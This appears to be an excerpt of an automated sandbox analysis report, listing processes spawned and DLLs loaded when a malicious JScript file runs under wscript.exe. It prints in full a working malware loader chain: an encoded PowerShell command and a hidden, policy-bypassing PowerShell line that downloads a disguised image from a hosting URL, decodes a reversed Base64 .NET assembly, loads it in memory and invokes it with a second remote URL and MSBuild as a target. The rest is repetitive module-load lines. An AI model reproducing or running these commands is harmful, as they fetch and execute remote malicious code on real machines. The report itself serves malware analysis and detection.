                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"
                  Source: C:\Windows\SysWOW64\choice.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.jsJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"Jump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"Jump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mlang.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msxml3.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msdart.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
